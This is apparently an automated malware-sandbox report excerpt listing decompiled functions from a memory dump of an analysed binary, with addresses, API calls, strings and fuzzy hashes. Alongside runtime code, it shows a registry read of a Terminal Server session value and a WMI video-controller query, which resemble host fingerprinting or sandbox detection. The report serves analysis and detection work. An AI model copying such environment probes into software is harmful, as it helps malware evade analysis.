					 *((intOrPtr*)(_t94 + 0x2c)) = 0;
					_v8 = 4;
					if( *((intOrPtr*)(_t94 + 0x24)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x24)));
					}
					 *((intOrPtr*)(_t94 + 0x24)) = 0;
					_v8 = 3;
					if( *((intOrPtr*)(_t94 + 0x1c)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x1c)));
					}
					 *((intOrPtr*)(_t94 + 0x1c)) = 0;
					_v8 = 2;
					if( *((intOrPtr*)(_t94 + 0x14)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0x14)));
					}
					 *((intOrPtr*)(_t94 + 0x14)) = 0;
					_v8 = 1;
					if( *((intOrPtr*)(_t94 + 0xc)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 0xc)));
					}
					 *((intOrPtr*)(_t94 + 0xc)) = 0;
					_v8 = 0;
					if( *((intOrPtr*)(_t94 + 4)) != 0) {
						L004A5B7B( *((intOrPtr*)(_t94 + 4)));
					}
					 *((intOrPtr*)(_t94 + 4)) = 0;
					_v8 = _v8 | 0xffffffff;
					_t65 = E00488E42(_t94);
					 *[fs:0x0] = _v16;
					return _t65;
				} else {
					E004892CF(_t93, _a8); // executed
					_v4 = _v4 | 0xffffffff;
					return E0049D8D4(_t93);
				}
			}

0x0042b0d7
0x0042b0d7
0x0042b0de
0x0042b0e3
0x0042b0e5
0x0042b0eb
0x0042b0f0
0x0042b0f3
0x0042b0f6
0x0042b0f9
0x0042b0fd
0x0042b100
0x0042b103
0x0042b109
0x0042b10c
0x0042b110
0x0042b114
0x0042b117
0x0042b11b
0x0042b11f
0x0042b122
0x0042b125
0x0042b129
0x0042b12c
0x0042b12f
0x0042b136
0x0042b156
0x0042b15b
0x0042b15f
0x0042b161
0x0042b16c
0x0042b16d
0x0042b16e
0x0042b16f
0x0042b170
0x0042b177
0x0042b17b
0x0042b181
0x0042b183
0x0042b186
0x0042b18e
0x0042b194
0x0042b19c
0x0042b1a1
0x0042b1a6
0x0042b1a9
0x0042b1ac
0x0042b1b3
0x0042b1b8
0x0042b1bd
0x0042b1be
0x0042b1c1
0x0042b1c8
0x0042b1cd
0x0042b1d2
0x0042b1d3
0x0042b1d6
0x0042b1dd
0x0042b1e2
0x0042b1e7
0x0042b1e8
0x0042b1eb
0x0042b1f2
0x0042b1f7
0x0042b1fc
0x0042b1fd
0x0042b200
0x0042b206
0x0042b20b
0x0042b210
0x0042b211
0x0042b214
0x0042b21a
0x0042b222
0x0042b22d
0x0042b138
0x0042b13c
0x0042b143
0x0042b14e
0x0042b14e

APIs

__EH_prolog3.LIBCMT ref: 0042B0DE
std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Strings

bad locale name, xrefs: 0042B151

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$H_prolog3Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3885362349-1405518554
Opcode ID: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction ID: 6c1aac0d3ae764c151c891031ecf3eb922a7cb345cb057f0399f80213b4349f3
Opcode Fuzzy Hash: 2ca577620741fc4d0fa9664d843e3fb6eb30bf736c91008a5dbe1d94b836b8d5
Instruction Fuzzy Hash: 5341D071805B84DECB21DF6AD54074AFBF0FF19714F108A6FE09A93691C778AA04CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0043834E, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
registryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E0043834E(void* __ebx) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				int _v24;
				void* _v28;
				signed int _t17;
				void* _t19;
				long _t21;
				long _t28;
				signed int _t38;

				_t17 =  *0x4eb018; // 0xa679d9c
				_v8 = _t17 ^ _t38;
				_t19 =  *0x4ed67c(0x1000); // executed
				if(_t19 == 0) {
					_v28 = 0;
					_t21 = RegOpenKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", 0, 0x20019,  &_v28); // executed
					if(_t21 == 0) {
						_v12 = 4;
						_t28 = RegQueryValueExW(_v28, L"GlassSessionId", 0,  &_v24,  &_v20,  &_v12); // executed
						if(_t28 == 0) {
							_push( *0x4f00cc( &_v16));
							if( *0x4f0098() != 0) {
							}
						}
					}
					if(_v28 != 0) {
						RegCloseKey(_v28); // executed
					}
					goto L8;
				} else {
					L8:
					return E0049CE1D(_v8 ^ _t38);
				}
			}

0x00438354
0x0043835b
0x00438366
0x0043836e
0x00438376
0x0043838a
0x00438392
0x00438397
0x004383b0
0x004383b8
0x004383c4
0x004383cd
0x004383cd
0x004383cd
0x004383b8
0x004383de
0x004383e3
0x004383e3
0x00000000
0x00438370
0x004383e9
0x004383f7
0x004383f7

APIs

KiUserCallbackDispatcher.NTDLL(00001000), ref: 00438366
RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\Terminal Server\,00000000,00020019,?), ref: 0043838A
RegQueryValueExW.KERNEL32(?,GlassSessionId,00000000,?,?,?), ref: 004383B0
RegCloseKey.KERNEL32(00000000), ref: 004383E3

Strings

SYSTEM\CurrentControlSet\Control\Terminal Server\, xrefs: 00438380
GlassSessionId, xrefs: 004383A8

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CallbackCloseDispatcherOpenQueryUserValue
String ID: GlassSessionId$SYSTEM\CurrentControlSet\Control\Terminal Server\
API String ID: 3469526933-2312460866
Opcode ID: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction ID: 1375888261e42abcb995ea69a1410071a9ea076cd39f03993a4a07d28be19a00
Opcode Fuzzy Hash: 27b7b9c2dc77d4a068ed236221e8214ada6d936f26874cf2242a83efc8ec27de
Instruction Fuzzy Hash: 8A113D75A00209AFDB00DFA4DCC9ABFBBBCEB08744F50006ABA02E6251DB749944CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F667, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(WQL), ref: 0043F67F
SysAllocString.OLEAUT32(SELECT * FROM Win32_VideoController), ref: 0043F688
SysFreeString.OLEAUT32(00000000), ref: 0043F6D2
SysFreeString.OLEAUT32(00000000), ref: 0043F6DD

Strings

WQL, xrefs: 0043F672
SELECT * FROM Win32_VideoController, xrefs: 0043F681

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$AllocFree
String ID: SELECT * FROM Win32_VideoController$WQL
API String ID: 344208780-1929584936
Opcode ID: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction ID: 4b11ec092bf3f4ee8dee81372b84e2e37407528e88ef9b5c9db828157aa2cc4f
Opcode Fuzzy Hash: adc682d61d0390edde9596870ac47e052553ff5eaec596b7a83b409a64427d00
Instruction Fuzzy Hash: 72118B71A05318AFD324DF64DC89A2BBBE8FF49745F10056EF405CB260CBA1AC04CB98

Uniqueness

Uniqueness Score: -1.00%

Function 004AD519, Relevance: 9.3, APIs: 6, Instructions: 284
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004AD519(void* __ebx, signed int __edx, void* __edi, void* _a4, signed int _a8) {
				char _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __esi;
				void* __ebp;
				signed int _t61;
				void* _t64;
				signed int _t67;
				signed int _t69;
				signed int _t70;
				signed int _t73;
				signed int _t76;
				intOrPtr _t78;
				signed int _t79;
				void* _t80;
				signed int _t82;
				void* _t83;
				signed int _t85;
				signed int _t91;
				signed int _t100;
				void* _t102;
				signed int _t105;
				signed int* _t108;
				signed int* _t109;
				intOrPtr* _t111;
				signed int _t116;
				signed int _t118;
				signed int _t121;
				void* _t123;
				signed int _t126;
				signed int _t129;
				signed int _t137;
				signed int _t143;
				void _t145;
				void* _t146;
				void* _t148;
				void* _t150;
				signed int _t151;
				signed int _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				intOrPtr _t157;

				_t137 = __edx;
				_t153 = _a4;
				if(_t153 == 0) {
					_t111 = E004A966E();
					_t157 = 0x16;
					 *_t111 = _t157;
					E004A5E77();
					return _t157;
				}
				_push(__edi);
				_t121 = 9;
				memset(_t153, _t61 | 0xffffffff, _t121 << 2);
				_t143 = _a8;
				__eflags = _t143;
				if(_t143 == 0) {
					_t109 = E004A966E();
					_t156 = 0x16;
					 *_t109 = _t156;
					E004A5E77();
					_t76 = _t156;
					L12:
					return _t76;
				}
				_push(__ebx);
				__eflags =  *(_t143 + 4);
				if(__eflags <= 0) {
					if(__eflags < 0) {
						L10:
						_t108 = E004A966E();
						_t155 = 0x16;
						 *_t108 = _t155;
						_t76 = _t155;
						L11:
						goto L12;
					}
					__eflags =  *_t143;
					if( *_t143 < 0) {
						goto L10;
					}
				}
				_t64 = 7;
				__eflags =  *(_t143 + 4) - _t64;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						goto L10;
					}
					__eflags =  *_t143 - 0x93406fff;
					if( *_t143 > 0x93406fff) {
						goto L10;
					}
				}
				E004BA429(0, _t143, _t153); // executed
				_v12 = 0;
				_v16 = 0;
				_v8 = 0;
				_t67 = E004B99EA( &_v12);
				_pop(_t123);
				__eflags = _t67;
				if(_t67 == 0) {
					_t67 = E004B9A16( &_v16);
					_pop(_t123);
					__eflags = _t67;
					if(_t67 == 0) {
						_t67 = E004B9A42( &_v8);
						_pop(_t123);
						__eflags = _t67;
						if(_t67 == 0) {
							_t116 =  *(_t143 + 4);
							_t126 =  *_t143;
							__eflags = _t116;
							if(__eflags < 0) {
								L28:
								_push(_t143);
								_push(_t153);
								_t76 = E004B9CD7();
								__eflags = _t76;
								if(_t76 != 0) {
									goto L11;
								}
								__eflags = _v12;
								asm("cdq");
								_t145 =  *_t153;
								_t118 = _t137;
								if(__eflags == 0) {
									L32:
									_t78 = _v8;
									L33:
									asm("cdq");
									_t146 = _t145 - _t78;
									asm("sbb ebx, edx");
									_t79 = E004C3F60(_t146, _t118, 0x3c, 0);
									 *_t153 = _t79;
									__eflags = _t79;
									if(_t79 < 0) {
										_t146 = _t146 + 0xffffffc4;
										 *_t153 = _t79 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t80 = E004C3EB0(_t146, _t118, 0x3c, 0);
									_t119 = _t137;
									asm("cdq");
									_t148 = _t80 +  *(_t153 + 4);
									asm("adc ebx, edx");
									_t82 = E004C3F60(_t148, _t137, 0x3c, 0);
									 *(_t153 + 4) = _t82;
									__eflags = _t82;
									if(_t82 < 0) {
										_t148 = _t148 + 0xffffffc4;
										 *(_t153 + 4) = _t82 + 0x3c;
										asm("adc ebx, 0xffffffff");
									}
									_t83 = E004C3EB0(_t148, _t119, 0x3c, 0);
									_t120 = _t137;
									asm("cdq");
									_t150 = _t83 +  *(_t153 + 8);
									asm("adc ebx, edx");
									_t85 = E004C3F60(_t150, _t137, 0x18, 0);
									 *(_t153 + 8) = _t85;
									__eflags = _t85;
									if(_t85 < 0) {
										_t150 = _t150 + 0xffffffe8;
										 *(_t153 + 8) = _t85 + 0x18;
										asm("adc ebx, 0xffffffff");
									}
									_t129 = E004C3EB0(_t150, _t120, 0x18, 0);
									__eflags = _t137;
									if(__eflags < 0) {
										L48:
										 *(_t153 + 0xc) =  *(_t153 + 0xc) + _t129;
										asm("cdq");
										_t151 = 7;
										_t91 =  *(_t153 + 0xc);
										 *(_t153 + 0x18) = ( *(_t153 + 0x18) + 7 + _t129) % _t151;
										__eflags = _t91;
										if(_t91 > 0) {
											goto L43;
										}
										 *((intOrPtr*)(_t153 + 0x10)) = 0xb;
										 *(_t153 + 0xc) = _t91 + 0x1f;
										_t55 = _t129 + 0x16d; // 0x16d
										 *(_t153 + 0x1c) =  *(_t153 + 0x1c) + _t55;
										 *((intOrPtr*)(_t153 + 0x14)) =  *((intOrPtr*)(_t153 + 0x14)) - 1;
										goto L44;
									} else {
										if(__eflags > 0) {
											L42:
											asm("cdq");
											_t152 = 7;
											_t39 = _t153 + 0xc;
											 *_t39 =  *(_t153 + 0xc) + _t129;
											__eflags =  *_t39;
											 *(_t153 + 0x18) = ( *(_t153 + 0x18) + _t129) % _t152;
											L43:
											_t42 = _t153 + 0x1c;
											 *_t42 =  *(_t153 + 0x1c) + _t129;
											__eflags =  *_t42;
											L44:
											_t76 = 0;
											goto L11;
										}
										__eflags = _t129;
										if(_t129 == 0) {
											__eflags = _t137;
											if(__eflags > 0) {
												goto L44;
											}
											if(__eflags < 0) {
												goto L48;
											}
											__eflags = _t129;
											if(_t129 >= 0) {
												goto L44;
											}
											goto L48;
										}
										goto L42;
									}
								}
								_push(_t153);
								_t100 = E004BA47A(_t118, _t145, _t153, __eflags);
								__eflags = _t100;
								if(_t100 == 0) {
									goto L32;
								}
								_t78 = _v8 + _v16;
								 *((intOrPtr*)(_t153 + 0x20)) = 1;
								goto L33;
							}
							if(__eflags > 0) {
								L20:
								_t102 = 7;
								__eflags = _t116 - _t102;
								if(__eflags > 0) {
									goto L28;
								}
								if(__eflags < 0) {
									L23:
									asm("cdq");
									_push( &_v24);
									asm("sbb ebx, edx");
									_v24 = _t126 - _v8;
									_push(_t153);
									_v20 = _t116;
									_t76 = E004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									__eflags = _v12 - _t76;
									if(__eflags == 0) {
										goto L44;
									}
									_push(_t153);
									_t105 = E004BA47A(_t116, _t143, _t153, __eflags);
									__eflags = _t105;
									if(_t105 == 0) {
										goto L44;
									}
									asm("cdq");
									_v24 = _v24 - _v16;
									_push( &_v24);
									asm("sbb [ebp-0x10], edx");
									_push(_t153);
									_t76 = E004B9CD7();
									__eflags = _t76;
									if(_t76 != 0) {
										goto L11;
									}
									 *((intOrPtr*)(_t153 + 0x20)) = 1;
									goto L44;
								}
								__eflags = _t126 - 0x933c7b7f;
								if(_t126 >= 0x933c7b7f) {
									goto L28;
								}
								goto L23;
							}
							__eflags = _t126 - 0x3f480;
							if(_t126 <= 0x3f480) {
								goto L28;
							}
							goto L20;
						}
					}
				}
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E004A5EA4(_t67);
				asm("int3");
				_push(_t153);
				_t69 = E004B9C99(_t123);
				_t154 = _t69;
				__eflags = _t154;
				if(_t154 != 0) {
					_push(_v20);
					_push(_t154); // executed
					_t70 = E004AD519(0, _t137, _t143); // executed
					asm("sbb eax, eax");
					_t73 =  !( ~_t70) & _t154;
					__eflags = _t73;
					return _t73;
				}
				return _t69;
			}

0x004ad519
0x004ad522
0x004ad527
0x004ad529
0x004ad530
0x004ad531
0x004ad533
0x00000000
0x004ad538
0x004ad53c
0x004ad544
0x004ad545
0x004ad547
0x004ad54a
0x004ad54c
0x004ad54e
0x004ad555
0x004ad556
0x004ad558
0x004ad55d
0x004ad58e
0x00000000
0x004ad58e
0x004ad561
0x004ad564
0x004ad567
0x004ad569
0x004ad581
0x004ad581
0x004ad588
0x004ad589
0x004ad58b
0x004ad58d
0x00000000
0x004ad58d
0x004ad56b
0x004ad56d
0x00000000
0x00000000
0x004ad56d
0x004ad571
0x004ad572
0x004ad575
0x004ad577
0x00000000
0x00000000
0x004ad579
0x004ad57f
0x00000000
0x00000000
0x004ad57f
0x004ad594
0x004ad59c
0x004ad5a0
0x004ad5a3
0x004ad5a6
0x004ad5ab
0x004ad5ac
0x004ad5ae
0x004ad5b8
0x004ad5bd
0x004ad5be
0x004ad5c0
0x004ad5ca
0x004ad5cf
0x004ad5d0
0x004ad5d2
0x004ad5d8
0x004ad5db
0x004ad5dd
0x004ad5df
0x004ad660
0x004ad660
0x004ad661
0x004ad662
0x004ad669
0x004ad66b
0x00000000
0x00000000
0x004ad671
0x004ad677
0x004ad678
0x004ad67a
0x004ad67c
0x004ad698
0x004ad698
0x004ad69b
0x004ad69b
0x004ad69c
0x004ad6a2
0x004ad6a6
0x004ad6ab
0x004ad6ad
0x004ad6af
0x004ad6b4
0x004ad6b7
0x004ad6b9
0x004ad6b9
0x004ad6c2
0x004ad6c9
0x004ad6ce
0x004ad6cf
0x004ad6d5
0x004ad6d9
0x004ad6de
0x004ad6e1
0x004ad6e3
0x004ad6e8
0x004ad6eb
0x004ad6ee
0x004ad6ee
0x004ad6f7
0x004ad6fe
0x004ad703
0x004ad704
0x004ad70a
0x004ad70e
0x004ad713
0x004ad716
0x004ad718
0x004ad71d
0x004ad720
0x004ad723
0x004ad723
0x004ad731
0x004ad733
0x004ad735
0x004ad762
0x004ad768
0x004ad76f
0x004ad770
0x004ad773
0x004ad776
0x004ad779
0x004ad77b
0x00000000
0x00000000
0x004ad780
0x004ad787
0x004ad78a
0x004ad790
0x004ad793
0x00000000
0x004ad737
0x004ad737
0x004ad73d
0x004ad744
0x004ad745
0x004ad748
0x004ad748
0x004ad748
0x004ad74b
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad74e
0x004ad751
0x004ad751
0x00000000
0x004ad751
0x004ad739
0x004ad73b
0x004ad758
0x004ad75a
0x00000000
0x00000000
0x004ad75c
0x00000000
0x00000000
0x004ad75e
0x004ad760
0x00000000
0x00000000
0x00000000
0x004ad760
0x00000000
0x004ad73b
0x004ad735
0x004ad67e
0x004ad67f
0x004ad685
0x004ad687
0x00000000
0x00000000
0x004ad68c
0x004ad68f
0x00000000
0x004ad68f
0x004ad5e1
0x004ad5eb
0x004ad5ed
0x004ad5ee
0x004ad5f0
0x00000000
0x00000000
0x004ad5f2
0x004ad5fc
0x004ad5ff
0x004ad605
0x004ad606
0x004ad608
0x004ad60b
0x004ad60c
0x004ad60f
0x004ad616
0x004ad618
0x00000000
0x00000000
0x004ad61e
0x004ad621
0x00000000
0x00000000
0x004ad627
0x004ad628
0x004ad62e
0x004ad630
0x00000000
0x00000000
0x004ad639
0x004ad63a
0x004ad640
0x004ad641
0x004ad644
0x004ad645
0x004ad64c
0x004ad64e
0x00000000
0x00000000
0x004ad654
0x00000000
0x004ad654
0x004ad5f4
0x004ad5fa
0x00000000
0x00000000
0x00000000
0x004ad5fa
0x004ad5e3
0x004ad5e9
0x00000000
0x00000000
0x00000000
0x004ad5e9
0x004ad5d2
0x004ad5c0
0x004ad798
0x004ad799
0x004ad79a
0x004ad79b
0x004ad79c
0x004ad79d
0x004ad7a2
0x004ad7a8
0x004ad7a9
0x004ad7ae
0x004ad7b0
0x004ad7b2
0x004ad7b4
0x004ad7b7
0x004ad7b8
0x004ad7c0
0x004ad7c5
0x004ad7c5
0x00000000
0x004ad7c5
0x004ad7c9

APIs

__allrem.LIBCMT ref: 004AD6A6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6C2
__allrem.LIBCMT ref: 004AD6D9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD6F7
__allrem.LIBCMT ref: 004AD70E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004AD72C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction ID: 654fca63a13bbe54f081c1f28274ad463728d2dd87b098e0be7b463a35528337
Opcode Fuzzy Hash: 9c68534bc58ca450419da227a5f710ec40ff671fe3a058431bf23149e8cc63be
Instruction Fuzzy Hash: 7C813776E00706ABD7249E29CC41BAB73E8AF26728F24452FF512D7B81E778DD008758

Uniqueness

Uniqueness Score: -1.00%

Function 004AE22E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004AE22E(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t74;
				intOrPtr _t75;
				signed int _t78;
				intOrPtr _t86;
				void* _t95;
				signed int _t97;
				void* _t99;
				void* _t106;
				signed int _t110;
				signed int _t111;
				signed int _t114;
				void* _t118;
				signed int _t121;
				signed int _t123;
				intOrPtr _t124;
				signed int _t126;
				intOrPtr _t128;
				signed int _t129;
				void* _t133;
				void* _t134;
				void* _t136;

				_t118 = __edx;
				_t95 = __ebx;
				_push(_t99);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t121 = 0;
					_t67 = E004BA7E9( &_v8, 0, 0, _a8, 0x7fffffff);
					_t134 = _t133 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t126 = E004B2F72(_t99, _v8, 2);
						__eflags = _t126;
						if(_t126 == 0) {
							L11:
							E004B2FCF(_t126);
							_t70 = _t121;
							goto L12;
						} else {
							_t67 = E004BA7E9(_t121, _t126, _v8, _a8, 0xffffffff);
							_t134 = _t134 + 0x14;
							__eflags = _t67;
							if(_t67 == 0) {
								_t71 = E004B2387(_a4, _t126); // executed
								_t121 = _t71;
								goto L11;
							} else {
								__eflags = _t67 - 0x16;
								if(_t67 == 0x16) {
									goto L13;
								} else {
									__eflags = _t67 - 0x22;
									if(_t67 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t121);
							_push(_t121);
							_push(_t121);
							_push(_t121);
							E004A5EA4(_t67);
							asm("int3");
							E0049DF50(0x4e8970, 0x1c);
							_t128 = _a4;
							_t74 = E004AE22E(_t95, _t118, _t121, _t128, _t128, _a8); // executed
							_t106 = _t121;
							_t123 = _t74;
							__eflags = _t123;
							if(_t123 != 0) {
								_t75 = E004B361B(_t95, _t106, _t118);
								_v40 = _t75;
								_v48 =  *((intOrPtr*)(_t75 + 0x4c));
								_t108 =  *((intOrPtr*)(_t75 + 0x48));
								_v44 =  *((intOrPtr*)(_t75 + 0x48));
								_v32 = 0;
								_t78 = E004BAA8A( *((intOrPtr*)(_t75 + 0x48)),  &_v32, 0, 0, _t123, 0,  &_v48);
								_t136 = _t134 + 0x18;
								__eflags = _t78;
								if(_t78 == 0) {
									L22:
									_t97 = E004B3009(_t108, _v32 + 4);
									__eflags = _t97;
									if(_t97 == 0) {
										goto L15;
									} else {
										_t20 = _t97 + 4; // 0x4
										_v36 = _t20;
										_t108 =  &_v48;
										_t123 = 0;
										_t78 = E004BAA8A( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t136 = _t136 + 0x18;
										__eflags = _t78;
										if(_t78 == 0) {
											L29:
											_t124 = _v48;
											E004AE1BD(4);
											_pop(_t110);
											_v8 = _v8 & 0x00000000;
											_t129 = _t128 + _t128;
											_t111 = _t110 | 0xffffffff;
											__eflags =  *(_t124 + 0x24 + _t129 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
													_pop(_t114);
													 *(_t124 + 0x24 + _t129 * 8) =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
													_t111 = _t114 | 0xffffffff;
													__eflags = _t111;
												}
											}
											_t86 = _v40;
											__eflags =  *(_t86 + 0x350) & 0x00000002;
											if(( *(_t86 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x4eb470 & 0x00000001;
												if(( *0x4eb470 & 0x00000001) == 0) {
													__eflags =  *(_t124 + 0x24 + _t129 * 8);
													if( *(_t124 + 0x24 + _t129 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t111 == 1;
														if(_t111 == 1) {
															E004B2FCF( *(_t124 + 0x24 + _t129 * 8));
															_t51 = _t124 + 0x24 + _t129 * 8;
															 *_t51 =  *(_t124 + 0x24 + _t129 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t97 =  *((intOrPtr*)(_t124 + 0xc));
											 *(_t124 + 0x24 + _t129 * 8) = _t97;
											 *((intOrPtr*)(_t124 + 0x1c + _t129 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E004AE41F();
										} else {
											__eflags = _t78 - 0x16;
											if(_t78 == 0x16) {
												L26:
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												_push(_t123);
												goto L20;
											} else {
												__eflags = _t78 - 0x22;
												if(_t78 != 0x22) {
													__eflags = _t78;
													if(_t78 == 0) {
														goto L29;
													} else {
														E004B2FCF(_t97);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t78 - 0x16;
									if(_t78 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t78 = E004A5EA4(_t78);
									} else {
										__eflags = _t78 - 0x22;
										if(_t78 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t78;
									if(_t78 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E0049DF96();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E004B2387(_a4, 0); // executed
					L12:
					return _t70;
				}
			}

0x004ae22e
0x004ae22e
0x004ae233
0x004ae238
0x004ae248
0x004ae249
0x004ae252
0x004ae25a
0x004ae25f
0x004ae262
0x004ae264
0x004ae270
0x004ae27a
0x004ae27e
0x004ae280
0x004ae2b1
0x004ae2b2
0x004ae2b8
0x00000000
0x004ae282
0x004ae28c
0x004ae291
0x004ae294
0x004ae296
0x004ae2a8
0x004ae2af
0x00000000
0x004ae298
0x004ae298
0x004ae29b
0x00000000
0x004ae29d
0x004ae29d
0x004ae2a0
0x00000000
0x004ae2a2
0x00000000
0x004ae2a2
0x004ae2a0
0x004ae29b
0x004ae296
0x004ae266
0x004ae266
0x004ae269
0x004ae2c0
0x004ae2c0
0x004ae2c1
0x004ae2c2
0x004ae2c3
0x004ae2c5
0x004ae2ca
0x004ae2d2
0x004ae2da
0x004ae2de
0x004ae2e4
0x004ae2e5
0x004ae2e7
0x004ae2e9
0x004ae2f2
0x004ae2f7
0x004ae2fd
0x004ae300
0x004ae303
0x004ae308
0x004ae317
0x004ae31c
0x004ae31f
0x004ae321
0x004ae33b
0x004ae348
0x004ae34a
0x004ae34c
0x00000000
0x004ae34e
0x004ae34e
0x004ae351
0x004ae354
0x004ae35f
0x004ae362
0x004ae367
0x004ae36a
0x004ae36c
0x004ae38f
0x004ae38f
0x004ae394
0x004ae399
0x004ae39a
0x004ae39e
0x004ae3a4
0x004ae3a7
0x004ae3a9
0x004ae3ad
0x004ae3b1
0x004ae3b7
0x004ae3bc
0x004ae3bd
0x004ae3c2
0x004ae3c2
0x004ae3c2
0x004ae3b1
0x004ae3c5
0x004ae3c8
0x004ae3cf
0x004ae3d1
0x004ae3d8
0x004ae3de
0x004ae3e0
0x004ae3e2
0x004ae3e6
0x004ae3e7
0x004ae3ed
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3f3
0x004ae3e7
0x004ae3e0
0x004ae3d8
0x004ae3fb
0x004ae3fd
0x004ae404
0x004ae408
0x004ae40f
0x004ae36e
0x004ae36e
0x004ae371
0x004ae378
0x004ae378
0x004ae379
0x004ae37a
0x004ae37b
0x004ae37c
0x00000000
0x004ae373
0x004ae373
0x004ae376
0x004ae37f
0x004ae381
0x00000000
0x004ae383
0x004ae384
0x00000000
0x004ae389
0x00000000
0x00000000
0x00000000
0x004ae376
0x004ae371
0x004ae36c
0x004ae323
0x004ae323
0x004ae326
0x004ae32d
0x004ae32d
0x004ae32e
0x004ae32f
0x004ae330
0x004ae331
0x004ae332
0x004ae332
0x004ae328
0x004ae328
0x004ae32b
0x00000000
0x00000000
0x004ae32b
0x004ae337
0x004ae339
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae339
0x004ae2eb
0x004ae2eb
0x004ae2eb
0x004ae41b
0x004ae26b
0x004ae26b
0x004ae26e
0x00000000
0x00000000
0x00000000
0x00000000
0x004ae26e
0x004ae269
0x004ae23a
0x004ae23f
0x004ae2bc
0x004ae2bf
0x004ae2bf

APIs

__cftoe.LIBCMT ref: 004AE25A
__cftoe.LIBCMT ref: 004AE28C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction ID: af23d29fe526a1b16e321764dda8e6b8bd8abf4caf2a54ed849dc3d0cb492b55
Opcode Fuzzy Hash: e0e76a9253ea4e7d51fbe12c7998101bff1d8e9b8efef846fc61301ff14f88bd
Instruction Fuzzy Hash: 1351C932504205ABDF249B6B8D41FAF77A9AF5A324F10425FF82596282DB3DD900966C

Uniqueness

